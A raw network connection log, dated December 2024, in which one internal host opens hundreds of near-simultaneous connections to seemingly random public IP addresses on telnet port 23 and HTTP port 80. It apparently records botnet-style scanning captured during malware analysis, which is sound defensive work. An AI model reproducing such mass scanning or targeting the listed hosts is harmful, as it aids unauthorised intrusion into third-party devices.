Dec 3, 2024 21:30:43.083250046 CET	59020	23	192.168.2.23	168.47.134.236
Dec 3, 2024 21:30:43.083256006 CET	59020	23	192.168.2.23	19.126.180.159
Dec 3, 2024 21:30:43.083259106 CET	59020	23	192.168.2.23	138.175.94.98
Dec 3, 2024 21:30:43.083259106 CET	59020	23	192.168.2.23	99.125.222.11
Dec 3, 2024 21:30:43.083278894 CET	59020	23	192.168.2.23	113.85.9.96
Dec 3, 2024 21:30:43.083280087 CET	59020	23	192.168.2.23	43.171.208.27
Dec 3, 2024 21:30:43.083281994 CET	59020	23	192.168.2.23	192.95.177.50
Dec 3, 2024 21:30:43.083281994 CET	59020	23	192.168.2.23	89.57.88.226
Dec 3, 2024 21:30:43.083282948 CET	59020	23	192.168.2.23	205.151.208.33
Dec 3, 2024 21:30:43.083303928 CET	59020	23	192.168.2.23	217.205.249.27
Dec 3, 2024 21:30:43.083343029 CET	59020	23	192.168.2.23	77.8.160.238
Dec 3, 2024 21:30:43.083345890 CET	59020	23	192.168.2.23	100.29.149.71
Dec 3, 2024 21:30:43.083345890 CET	59020	23	192.168.2.23	43.133.242.67
Dec 3, 2024 21:30:43.083345890 CET	59020	23	192.168.2.23	130.132.48.127
Dec 3, 2024 21:30:43.083354950 CET	59020	23	192.168.2.23	2.212.59.115
Dec 3, 2024 21:30:43.083364010 CET	59020	23	192.168.2.23	147.191.46.133
Dec 3, 2024 21:30:43.083364010 CET	59020	23	192.168.2.23	41.153.156.121
Dec 3, 2024 21:30:43.083364010 CET	59020	23	192.168.2.23	166.65.16.127
Dec 3, 2024 21:30:43.083369970 CET	59020	23	192.168.2.23	24.37.173.89
Dec 3, 2024 21:30:43.083373070 CET	59020	23	192.168.2.23	164.229.69.22
Dec 3, 2024 21:30:43.083373070 CET	59020	23	192.168.2.23	97.70.124.196
Dec 3, 2024 21:30:43.083373070 CET	59020	23	192.168.2.23	208.36.82.29
Dec 3, 2024 21:30:43.083374023 CET	59020	23	192.168.2.23	189.246.139.94
Dec 3, 2024 21:30:43.083373070 CET	59020	23	192.168.2.23	149.222.29.81
Dec 3, 2024 21:30:43.083373070 CET	59020	23	192.168.2.23	64.45.180.107
Dec 3, 2024 21:30:43.083375931 CET	59020	23	192.168.2.23	18.20.74.186
Dec 3, 2024 21:30:43.083375931 CET	59020	23	192.168.2.23	84.57.153.34
Dec 3, 2024 21:30:43.083376884 CET	59020	23	192.168.2.23	75.51.27.6
Dec 3, 2024 21:30:43.083376884 CET	59020	23	192.168.2.23	38.250.83.22
Dec 3, 2024 21:30:43.083378077 CET	59020	23	192.168.2.23	151.29.30.117
Dec 3, 2024 21:30:43.083378077 CET	59020	23	192.168.2.23	149.18.86.152
Dec 3, 2024 21:30:43.083378077 CET	59020	23	192.168.2.23	128.11.156.45
Dec 3, 2024 21:30:43.083378077 CET	59020	23	192.168.2.23	204.169.252.78
Dec 3, 2024 21:30:43.083379984 CET	59020	23	192.168.2.23	121.14.254.24
Dec 3, 2024 21:30:43.083379984 CET	59020	23	192.168.2.23	27.41.175.173
Dec 3, 2024 21:30:43.083379984 CET	59020	23	192.168.2.23	78.194.227.167
Dec 3, 2024 21:30:43.083472967 CET	59020	23	192.168.2.23	46.11.115.241
Dec 3, 2024 21:30:43.083472967 CET	59020	23	192.168.2.23	186.181.35.196
Dec 3, 2024 21:30:43.083472967 CET	59020	23	192.168.2.23	62.183.109.76
Dec 3, 2024 21:30:43.083472967 CET	59020	23	192.168.2.23	68.122.180.88
Dec 3, 2024 21:30:43.083475113 CET	59020	23	192.168.2.23	211.244.133.43
Dec 3, 2024 21:30:43.083475113 CET	59020	23	192.168.2.23	166.240.209.13
Dec 3, 2024 21:30:43.083477974 CET	59020	23	192.168.2.23	84.235.158.146
Dec 3, 2024 21:30:43.083477974 CET	59020	23	192.168.2.23	47.88.142.115
Dec 3, 2024 21:30:43.083477974 CET	59020	23	192.168.2.23	208.211.91.255
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	87.223.240.212
Dec 3, 2024 21:30:43.083478928 CET	59020	23	192.168.2.23	103.20.113.161
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	53.254.42.182
Dec 3, 2024 21:30:43.083477974 CET	59020	23	192.168.2.23	24.188.99.203
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	90.100.188.255
Dec 3, 2024 21:30:43.083478928 CET	59020	23	192.168.2.23	189.53.183.18
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	42.1.102.21
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	77.94.6.25
Dec 3, 2024 21:30:43.083477974 CET	59020	23	192.168.2.23	44.222.233.19
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	103.205.223.188
Dec 3, 2024 21:30:43.083478928 CET	59020	23	192.168.2.23	156.166.172.63
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	170.81.155.159
Dec 3, 2024 21:30:43.083479881 CET	59020	23	192.168.2.23	163.175.30.232
Dec 3, 2024 21:30:43.083486080 CET	59020	23	192.168.2.23	150.201.169.72
Dec 3, 2024 21:30:43.083486080 CET	59020	23	192.168.2.23	136.245.16.125
Dec 3, 2024 21:30:43.083486080 CET	59020	23	192.168.2.23	201.195.169.153
Dec 3, 2024 21:30:43.083486080 CET	59020	23	192.168.2.23	85.30.69.157
Dec 3, 2024 21:30:43.083501101 CET	59020	23	192.168.2.23	67.157.59.117
Dec 3, 2024 21:30:43.083501101 CET	59020	23	192.168.2.23	88.51.33.143
Dec 3, 2024 21:30:43.083504915 CET	59020	23	192.168.2.23	210.29.239.161
Dec 3, 2024 21:30:43.083506107 CET	59020	23	192.168.2.23	97.109.14.82
Dec 3, 2024 21:30:43.083506107 CET	59020	23	192.168.2.23	2.29.231.114
Dec 3, 2024 21:30:43.083506107 CET	59020	23	192.168.2.23	88.112.102.244
Dec 3, 2024 21:30:43.083506107 CET	59020	23	192.168.2.23	166.63.201.184
Dec 3, 2024 21:30:43.083512068 CET	59020	23	192.168.2.23	25.1.152.120
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	197.163.35.101
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	159.107.92.233
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	202.200.217.100
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	166.155.152.149
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	86.143.73.93
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	58.224.10.60
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	27.116.91.216
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	123.134.11.243
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	46.2.146.14
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	106.2.241.255
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	156.38.35.221
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	27.213.19.17
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	61.56.7.190
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	13.244.254.74
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	170.0.182.246
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	166.253.153.2
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	82.192.184.203
Dec 3, 2024 21:30:43.083513021 CET	59020	23	192.168.2.23	23.226.190.154
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	178.26.103.2
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	133.205.15.78
Dec 3, 2024 21:30:43.083514929 CET	59020	23	192.168.2.23	80.48.230.155
Dec 3, 2024 21:30:43.083537102 CET	59020	23	192.168.2.23	179.1.146.211
Dec 3, 2024 21:30:43.083537102 CET	59020	23	192.168.2.23	188.176.240.106
Dec 3, 2024 21:30:43.083537102 CET	59020	23	192.168.2.23	124.231.45.0
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	194.108.20.92
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	66.61.201.208
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	165.63.132.190
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	12.35.253.138
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	126.177.31.184
Dec 3, 2024 21:30:43.083538055 CET	59020	23	192.168.2.23	110.92.224.193
Dec 3, 2024 21:30:43.083542109 CET	59020	23	192.168.2.23	2.43.214.194
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	34.92.10.138
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	204.130.206.79
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	46.179.59.24
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	185.18.251.225
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	191.3.55.116
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	181.252.142.38
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	166.225.157.226
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	121.17.241.58
Dec 3, 2024 21:30:43.083543062 CET	59020	23	192.168.2.23	68.191.188.26
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	40.145.84.1
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	132.103.141.157
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	198.43.232.12
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	200.94.178.153
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	96.211.170.115
Dec 3, 2024 21:30:43.083544016 CET	59020	23	192.168.2.23	71.209.137.97
Dec 3, 2024 21:30:43.083554029 CET	59020	23	192.168.2.23	2.243.241.221
Dec 3, 2024 21:30:43.083554983 CET	59020	23	192.168.2.23	223.154.98.180
Dec 3, 2024 21:30:43.083554029 CET	59020	23	192.168.2.23	188.74.46.189
Dec 3, 2024 21:30:43.083554029 CET	59020	23	192.168.2.23	57.92.154.38
Dec 3, 2024 21:30:43.083554983 CET	59020	23	192.168.2.23	43.29.228.48
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	40.94.227.53
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	54.5.111.2
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	80.198.246.248
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	93.92.111.144
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	8.208.212.60
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	211.191.37.100
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	68.216.162.11
Dec 3, 2024 21:30:43.083583117 CET	59020	23	192.168.2.23	222.96.248.210
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	197.16.48.53
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	60.84.100.29
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	161.14.22.247
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	128.196.232.229
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	210.225.29.26
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	167.204.244.19
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	119.76.123.178
Dec 3, 2024 21:30:43.083590031 CET	59020	23	192.168.2.23	53.33.144.166
Dec 3, 2024 21:30:43.083595991 CET	59020	23	192.168.2.23	25.75.119.137
Dec 3, 2024 21:30:43.083595991 CET	59020	23	192.168.2.23	176.6.119.166
Dec 3, 2024 21:30:43.083597898 CET	59020	23	192.168.2.23	50.168.89.47
Dec 3, 2024 21:30:43.083626986 CET	59020	23	192.168.2.23	176.71.168.75
Dec 3, 2024 21:30:43.083626986 CET	59020	23	192.168.2.23	148.17.19.153
Dec 3, 2024 21:30:43.083626986 CET	59020	23	192.168.2.23	206.254.154.200
Dec 3, 2024 21:30:43.083626986 CET	59020	23	192.168.2.23	142.173.243.207
Dec 3, 2024 21:30:43.083626986 CET	59020	23	192.168.2.23	218.156.229.115
Dec 3, 2024 21:30:43.083631039 CET	59020	23	192.168.2.23	19.119.56.33
Dec 3, 2024 21:30:43.083632946 CET	59020	23	192.168.2.23	154.42.139.201
Dec 3, 2024 21:30:43.083632946 CET	59020	23	192.168.2.23	74.180.236.205
Dec 3, 2024 21:30:43.083632946 CET	59020	23	192.168.2.23	12.187.237.45
Dec 3, 2024 21:30:43.083632946 CET	59020	23	192.168.2.23	58.194.123.77
Dec 3, 2024 21:30:43.083655119 CET	59020	23	192.168.2.23	91.163.122.199
Dec 3, 2024 21:30:43.083657980 CET	59020	23	192.168.2.23	106.175.251.77
Dec 3, 2024 21:30:43.083657980 CET	59020	23	192.168.2.23	210.215.207.117
Dec 3, 2024 21:30:43.083657980 CET	59020	23	192.168.2.23	85.20.233.138
Dec 3, 2024 21:30:43.083657980 CET	59020	23	192.168.2.23	129.182.234.70
Dec 3, 2024 21:30:43.083658934 CET	59020	23	192.168.2.23	91.210.230.248
Dec 3, 2024 21:30:43.083658934 CET	59020	23	192.168.2.23	65.166.45.250
Dec 3, 2024 21:30:43.083658934 CET	59020	23	192.168.2.23	1.88.107.242
Dec 3, 2024 21:30:43.083658934 CET	59020	23	192.168.2.23	81.241.6.40
Dec 3, 2024 21:30:43.083668947 CET	59020	23	192.168.2.23	162.113.147.200
Dec 3, 2024 21:30:43.083668947 CET	59020	23	192.168.2.23	74.113.93.109
Dec 3, 2024 21:30:43.083668947 CET	59020	23	192.168.2.23	43.180.38.182
Dec 3, 2024 21:30:43.083668947 CET	59020	23	192.168.2.23	203.145.248.48
Dec 3, 2024 21:30:43.083668947 CET	59020	23	192.168.2.23	131.53.251.55
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	19.120.53.198
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	194.115.20.91
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	208.190.36.105
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	34.176.139.72
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	61.142.185.97
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	97.74.158.156
Dec 3, 2024 21:30:43.083682060 CET	59020	23	192.168.2.23	99.165.179.226
Dec 3, 2024 21:30:43.083686113 CET	59020	23	192.168.2.23	96.162.99.68
Dec 3, 2024 21:30:43.083690882 CET	59020	23	192.168.2.23	176.216.150.111
Dec 3, 2024 21:30:43.083690882 CET	59020	23	192.168.2.23	51.175.67.128
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	162.134.122.6
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	19.235.31.89
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	63.241.27.137
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	25.56.167.164
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	53.231.191.240
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	115.203.3.49
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	129.212.246.190
Dec 3, 2024 21:30:43.083699942 CET	59020	23	192.168.2.23	50.119.174.232
Dec 3, 2024 21:30:43.083709955 CET	59020	23	192.168.2.23	74.73.251.168
Dec 3, 2024 21:30:43.083709955 CET	59020	23	192.168.2.23	67.37.200.217
Dec 3, 2024 21:30:43.083709955 CET	59020	23	192.168.2.23	187.243.126.98
Dec 3, 2024 21:30:43.083709955 CET	59020	23	192.168.2.23	121.65.133.248
Dec 3, 2024 21:30:43.083709955 CET	59020	23	192.168.2.23	79.3.97.7
Dec 3, 2024 21:30:43.083715916 CET	59020	23	192.168.2.23	161.62.231.126
Dec 3, 2024 21:30:43.083715916 CET	59020	23	192.168.2.23	41.134.249.197
Dec 3, 2024 21:30:43.083720922 CET	59020	23	192.168.2.23	85.182.50.127
Dec 3, 2024 21:30:43.083720922 CET	59020	23	192.168.2.23	133.9.167.11
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	186.96.201.67
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	73.139.185.19
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	126.77.54.136
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	204.160.43.164
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	166.186.25.158
Dec 3, 2024 21:30:43.083730936 CET	59020	23	192.168.2.23	90.229.19.2
Dec 3, 2024 21:30:43.083734035 CET	59020	23	192.168.2.23	180.90.102.195
Dec 3, 2024 21:30:43.083736897 CET	59020	23	192.168.2.23	207.160.81.154
Dec 3, 2024 21:30:43.083750010 CET	59020	23	192.168.2.23	126.30.189.232
Dec 3, 2024 21:30:43.083758116 CET	59020	23	192.168.2.23	147.250.85.212
Dec 3, 2024 21:30:43.083760977 CET	59020	23	192.168.2.23	109.40.150.96
Dec 3, 2024 21:30:43.083770037 CET	59020	23	192.168.2.23	50.60.187.2
Dec 3, 2024 21:30:43.083781958 CET	59020	23	192.168.2.23	220.68.9.199
Dec 3, 2024 21:30:43.083785057 CET	59020	23	192.168.2.23	39.198.94.35
Dec 3, 2024 21:30:43.083785057 CET	59020	23	192.168.2.23	103.144.1.159
Dec 3, 2024 21:30:43.083786964 CET	59020	23	192.168.2.23	59.208.227.193
Dec 3, 2024 21:30:43.083786964 CET	59020	23	192.168.2.23	204.40.230.247
Dec 3, 2024 21:30:43.083811998 CET	59020	23	192.168.2.23	62.157.49.57
Dec 3, 2024 21:30:43.083811998 CET	59020	23	192.168.2.23	201.22.65.110
Dec 3, 2024 21:30:43.083822012 CET	59020	23	192.168.2.23	139.197.241.107
Dec 3, 2024 21:30:43.083822012 CET	59020	23	192.168.2.23	182.88.56.145
Dec 3, 2024 21:30:43.102571964 CET	59010	80	192.168.2.23	62.251.156.30
Dec 3, 2024 21:30:43.102654934 CET	59010	80	192.168.2.23	82.229.0.28
Dec 3, 2024 21:30:43.102674961 CET	59010	80	192.168.2.23	203.56.202.155
Dec 3, 2024 21:30:43.102677107 CET	59010	80	192.168.2.23	66.165.148.30
Dec 3, 2024 21:30:43.102682114 CET	59010	80	192.168.2.23	146.133.124.148
Dec 3, 2024 21:30:43.102685928 CET	59010	80	192.168.2.23	186.156.15.254
Dec 3, 2024 21:30:43.102699041 CET	59010	80	192.168.2.23	141.138.32.5
Dec 3, 2024 21:30:43.102708101 CET	59010	80	192.168.2.23	20.59.233.109
Dec 3, 2024 21:30:43.102721930 CET	59010	80	192.168.2.23	106.18.65.138
Dec 3, 2024 21:30:43.102720976 CET	59010	80	192.168.2.23	38.62.190.185
Dec 3, 2024 21:30:43.102725983 CET	59010	80	192.168.2.23	31.92.8.83
Dec 3, 2024 21:30:43.102730036 CET	59010	80	192.168.2.23	59.67.123.39
Dec 3, 2024 21:30:43.102744102 CET	59010	80	192.168.2.23	17.199.51.140
Dec 3, 2024 21:30:43.102745056 CET	59010	80	192.168.2.23	58.116.94.185
Dec 3, 2024 21:30:43.102745056 CET	59010	80	192.168.2.23	25.254.23.8
Dec 3, 2024 21:30:43.102756023 CET	59010	80	192.168.2.23	43.229.248.108
Dec 3, 2024 21:30:43.102761984 CET	59010	80	192.168.2.23	14.22.75.80
Dec 3, 2024 21:30:43.102765083 CET	59010	80	192.168.2.23	210.139.219.136
Dec 3, 2024 21:30:43.102770090 CET	59010	80	192.168.2.23	34.146.37.224
Dec 3, 2024 21:30:43.102776051 CET	59010	80	192.168.2.23	130.101.219.220
Dec 3, 2024 21:30:43.102797985 CET	59010	80	192.168.2.23	220.147.70.240
Dec 3, 2024 21:30:43.102814913 CET	59010	80	192.168.2.23	131.253.175.72
Dec 3, 2024 21:30:43.102826118 CET	59010	80	192.168.2.23	116.134.216.144
Dec 3, 2024 21:30:43.102832079 CET	59010	80	192.168.2.23	138.144.120.102
Dec 3, 2024 21:30:43.102844000 CET	59010	80	192.168.2.23	114.110.202.2
Dec 3, 2024 21:30:43.102845907 CET	59010	80	192.168.2.23	144.224.111.176
Dec 3, 2024 21:30:43.102857113 CET	59010	80	192.168.2.23	116.194.41.197
Dec 3, 2024 21:30:43.102859020 CET	59010	80	192.168.2.23	144.54.102.150
Dec 3, 2024 21:30:43.102874041 CET	59010	80	192.168.2.23	166.201.120.121
Dec 3, 2024 21:30:43.102881908 CET	59010	80	192.168.2.23	131.7.112.212
Dec 3, 2024 21:30:43.102881908 CET	59010	80	192.168.2.23	102.204.97.206
Dec 3, 2024 21:30:43.102885962 CET	59010	80	192.168.2.23	82.70.119.51
Dec 3, 2024 21:30:43.102895021 CET	59010	80	192.168.2.23	98.158.120.78
Dec 3, 2024 21:30:43.102901936 CET	59010	80	192.168.2.23	51.169.13.216
Dec 3, 2024 21:30:43.102902889 CET	59010	80	192.168.2.23	84.157.98.15
Dec 3, 2024 21:30:43.102916002 CET	59010	80	192.168.2.23	146.238.142.226
Dec 3, 2024 21:30:43.102982998 CET	59010	80	192.168.2.23	97.79.151.94
Dec 3, 2024 21:30:43.103004932 CET	59010	80	192.168.2.23	40.213.82.216
Dec 3, 2024 21:30:43.103013039 CET	59010	80	192.168.2.23	18.82.56.49
Dec 3, 2024 21:30:43.103024960 CET	59010	80	192.168.2.23	60.130.254.60
Dec 3, 2024 21:30:43.103027105 CET	59010	80	192.168.2.23	220.168.200.120
Dec 3, 2024 21:30:43.103027105 CET	59010	80	192.168.2.23	162.151.237.217
Dec 3, 2024 21:30:43.103039980 CET	59010	80	192.168.2.23	88.233.241.20
Dec 3, 2024 21:30:43.103041887 CET	59010	80	192.168.2.23	171.76.212.183
Dec 3, 2024 21:30:43.103048086 CET	59010	80	192.168.2.23	95.74.178.44
Dec 3, 2024 21:30:43.103091955 CET	59010	80	192.168.2.23	81.230.116.216
Dec 3, 2024 21:30:43.103095055 CET	59010	80	192.168.2.23	14.163.155.119
Dec 3, 2024 21:30:43.103096008 CET	59010	80	192.168.2.23	118.122.239.71
Dec 3, 2024 21:30:43.103105068 CET	59010	80	192.168.2.23	79.8.231.59
Dec 3, 2024 21:30:43.103112936 CET	59010	80	192.168.2.23	136.10.33.141
Dec 3, 2024 21:30:43.103137016 CET	59010	80	192.168.2.23	59.73.168.182
Dec 3, 2024 21:30:43.103144884 CET	59010	80	192.168.2.23	223.138.90.151
Dec 3, 2024 21:30:43.103161097 CET	59010	80	192.168.2.23	47.77.203.50
Dec 3, 2024 21:30:43.103163958 CET	59010	80	192.168.2.23	78.207.4.80
Dec 3, 2024 21:30:43.103164911 CET	59010	80	192.168.2.23	80.72.217.36
Dec 3, 2024 21:30:43.103202105 CET	59010	80	192.168.2.23	73.130.225.104
Dec 3, 2024 21:30:43.103205919 CET	59010	80	192.168.2.23	141.73.151.84
Dec 3, 2024 21:30:43.103220940 CET	59010	80	192.168.2.23	112.218.169.32
Dec 3, 2024 21:30:43.103223085 CET	59010	80	192.168.2.23	195.49.188.16
Dec 3, 2024 21:30:43.103224993 CET	59010	80	192.168.2.23	18.253.32.210
Dec 3, 2024 21:30:43.103228092 CET	59010	80	192.168.2.23	176.28.205.85
Dec 3, 2024 21:30:43.103257895 CET	59010	80	192.168.2.23	119.173.43.176
Dec 3, 2024 21:30:43.103266001 CET	59010	80	192.168.2.23	47.186.247.211
Dec 3, 2024 21:30:43.103270054 CET	59010	80	192.168.2.23	140.86.112.136
Dec 3, 2024 21:30:43.103271961 CET	59010	80	192.168.2.23	147.252.0.164
Dec 3, 2024 21:30:43.103276014 CET	59010	80	192.168.2.23	2.77.112.253
Dec 3, 2024 21:30:43.103286982 CET	59010	80	192.168.2.23	150.26.70.170
Dec 3, 2024 21:30:43.103287935 CET	59010	80	192.168.2.23	75.208.91.8
Dec 3, 2024 21:30:43.103307009 CET	59010	80	192.168.2.23	46.91.22.114
Dec 3, 2024 21:30:43.103308916 CET	59010	80	192.168.2.23	115.248.105.55
Dec 3, 2024 21:30:43.103332996 CET	59010	80	192.168.2.23	180.133.141.56
Dec 3, 2024 21:30:43.103339911 CET	59010	80	192.168.2.23	112.153.23.171
Dec 3, 2024 21:30:43.103349924 CET	59010	80	192.168.2.23	17.201.214.68
Dec 3, 2024 21:30:43.103359938 CET	59010	80	192.168.2.23	109.0.1.180
Dec 3, 2024 21:30:43.103369951 CET	59010	80	192.168.2.23	162.129.2.236
Dec 3, 2024 21:30:43.103369951 CET	59010	80	192.168.2.23	85.141.8.165
Dec 3, 2024 21:30:43.103384972 CET	59010	80	192.168.2.23	97.60.20.49
Dec 3, 2024 21:30:43.103404999 CET	59010	80	192.168.2.23	100.47.172.126
Dec 3, 2024 21:30:43.103411913 CET	59010	80	192.168.2.23	9.5.39.58
Dec 3, 2024 21:30:43.103411913 CET	59010	80	192.168.2.23	186.113.143.109
Dec 3, 2024 21:30:43.103455067 CET	59010	80	192.168.2.23	137.115.253.41
Dec 3, 2024 21:30:43.103456974 CET	59010	80	192.168.2.23	38.142.183.156
Dec 3, 2024 21:30:43.103456974 CET	59010	80	192.168.2.23	92.237.26.32
Dec 3, 2024 21:30:43.103468895 CET	59010	80	192.168.2.23	8.201.62.47
Dec 3, 2024 21:30:43.103473902 CET	59010	80	192.168.2.23	171.47.206.247
Dec 3, 2024 21:30:43.103476048 CET	59010	80	192.168.2.23	1.206.183.59
Dec 3, 2024 21:30:43.103478909 CET	59010	80	192.168.2.23	76.163.81.40
Dec 3, 2024 21:30:43.103478909 CET	59010	80	192.168.2.23	23.229.70.142
Dec 3, 2024 21:30:43.103485107 CET	59010	80	192.168.2.23	143.193.83.220
Dec 3, 2024 21:30:43.103517056 CET	59010	80	192.168.2.23	101.35.144.218
Dec 3, 2024 21:30:43.103523016 CET	59010	80	192.168.2.23	164.100.1.138
Dec 3, 2024 21:30:43.103537083 CET	59010	80	192.168.2.23	87.209.154.192
Dec 3, 2024 21:30:43.103544950 CET	59010	80	192.168.2.23	70.164.23.253
Dec 3, 2024 21:30:43.103560925 CET	59010	80	192.168.2.23	147.14.50.181
Dec 3, 2024 21:30:43.103596926 CET	59010	80	192.168.2.23	138.211.15.58
Dec 3, 2024 21:30:43.103596926 CET	59010	80	192.168.2.23	122.18.70.31
Dec 3, 2024 21:30:43.103610992 CET	59010	80	192.168.2.23	120.128.214.168
Dec 3, 2024 21:30:43.103616953 CET	59010	80	192.168.2.23	35.75.72.243
Dec 3, 2024 21:30:43.103631973 CET	59010	80	192.168.2.23	157.94.136.15
Dec 3, 2024 21:30:43.103643894 CET	59010	80	192.168.2.23	66.247.226.94
Dec 3, 2024 21:30:43.103657007 CET	59010	80	192.168.2.23	167.144.193.14
Dec 3, 2024 21:30:43.103671074 CET	59010	80	192.168.2.23	106.254.136.124
Dec 3, 2024 21:30:43.103678942 CET	59010	80	192.168.2.23	12.181.18.186
Dec 3, 2024 21:30:43.103682041 CET	59010	80	192.168.2.23	197.195.156.119
Dec 3, 2024 21:30:43.103702068 CET	59010	80	192.168.2.23	109.25.162.5
Dec 3, 2024 21:30:43.103732109 CET	59010	80	192.168.2.23	74.128.200.241
Dec 3, 2024 21:30:43.103733063 CET	59010	80	192.168.2.23	181.12.149.129
Dec 3, 2024 21:30:43.103748083 CET	59010	80	192.168.2.23	156.85.136.251
Dec 3, 2024 21:30:43.103754044 CET	59010	80	192.168.2.23	88.81.37.14
Dec 3, 2024 21:30:43.103790045 CET	59010	80	192.168.2.23	207.103.109.237
Dec 3, 2024 21:30:43.103811979 CET	59010	80	192.168.2.23	129.255.48.160
Dec 3, 2024 21:30:43.103822947 CET	59010	80	192.168.2.23	109.134.37.245
Dec 3, 2024 21:30:43.103825092 CET	59010	80	192.168.2.23	160.170.161.136
Dec 3, 2024 21:30:43.103861094 CET	59010	80	192.168.2.23	152.70.77.164
Dec 3, 2024 21:30:43.103868008 CET	59010	80	192.168.2.23	163.16.172.218
Dec 3, 2024 21:30:43.103882074 CET	59010	80	192.168.2.23	119.17.173.115
Dec 3, 2024 21:30:43.103883982 CET	59010	80	192.168.2.23	72.32.33.2
Dec 3, 2024 21:30:43.103889942 CET	59010	80	192.168.2.23	149.40.85.33
Dec 3, 2024 21:30:43.103893042 CET	59010	80	192.168.2.23	87.19.149.131
Dec 3, 2024 21:30:43.103938103 CET	59010	80	192.168.2.23	54.117.27.116
Dec 3, 2024 21:30:43.103962898 CET	59010	80	192.168.2.23	148.81.95.214
Dec 3, 2024 21:30:43.103971004 CET	59010	80	192.168.2.23	116.182.131.17
Dec 3, 2024 21:30:43.103975058 CET	59010	80	192.168.2.23	145.134.166.91
Dec 3, 2024 21:30:43.104022980 CET	59010	80	192.168.2.23	221.237.202.7
Dec 3, 2024 21:30:43.104023933 CET	59010	80	192.168.2.23	189.10.230.133
Dec 3, 2024 21:30:43.104037046 CET	59010	80	192.168.2.23	202.243.213.132
Dec 3, 2024 21:30:43.104043007 CET	59010	80	192.168.2.23	179.117.197.69
Dec 3, 2024 21:30:43.104370117 CET	59010	80	192.168.2.23	25.63.73.224
